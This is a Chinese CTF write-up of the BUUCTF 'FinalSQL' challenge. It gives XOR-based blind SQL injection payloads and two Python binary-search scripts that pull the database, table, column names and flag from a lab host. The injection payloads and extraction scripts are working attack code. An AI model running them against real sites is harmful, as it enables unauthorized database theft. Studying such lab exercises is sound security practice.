buuctf 极客大挑战 finalsql

说来话长，这边记录下，页面不一样了，之前的注入全部行不通，考虑到最烦最难得盲注，利用二分法查找是非常快的
这边记下playload

查库名：id=1^(ascii(substr((select(database())),1,1))>1)^1
库名为geek

查表名：id=1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=%27geek%27)),1,1))>1)^1
表名为F1naI1y
查列名，还是得写脚本，

1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),1,1))>1)^1

import requests
import time

url = "http://acd0b80d-cfac-4ed8-aab6-7c6f64ee9fa2.node3.buuoj.cn/search.php?id="
temp = {"id" : ""}
column = ""
for i in range(1,1000):
    time.sleep(0.06)
    low = 32
    high =128
    mid = (low+high)//2
    while(low<high):
        temp["id"] = "1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),%d,1))>%d)^1" %(i,mid)
        r = requests.get(url,params=temp)
        print(low,high,mid,":")
        if "Click" in r.text:
            low = mid+1
        else:
            high = mid
        mid =(low+high)//2
    if(mid ==32 or mid ==127):
        break
    column +=chr(mid)
    print(column)


print("column=" ,column)

emmmm，这题确实烦，手工注入会心态爆炸的。

查flag

1^(ascii(substr((select(group_concat(password))from(F1naI1y)),1,1))>1)^1

不得不说二分法查询真的特别省时间，主要是这题太恶心了

import requests
import time

url = "http://acd0b80d-cfac-4ed8-aab6-7c6f64ee9fa2.node3.buuoj.cn/search.php?id="
temp = {"id" : ""}
column = ""
for i in range(1,1000):
    time.sleep(0.06)
    low = 32
    high =128
    mid = (low+high)//2
    while(low<high):
        temp["id"] = "1^(ascii(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)^1" %(i,mid)
        r = requests.get(url,params=temp)
        print(low,high,mid,":")
        if "Click" in r.text:
            low = mid+1
        else:
            high = mid
        mid =(low+high)//2
    if(mid ==32 or mid ==127):
        break
    column +=chr(mid)
    print(column)


print("flag=" ,column)

附上大哥写的脚本

来源：CSDN

作者：SopRomeo

链接：https://blog.csdn.net/SopRomeo/article/details/104185198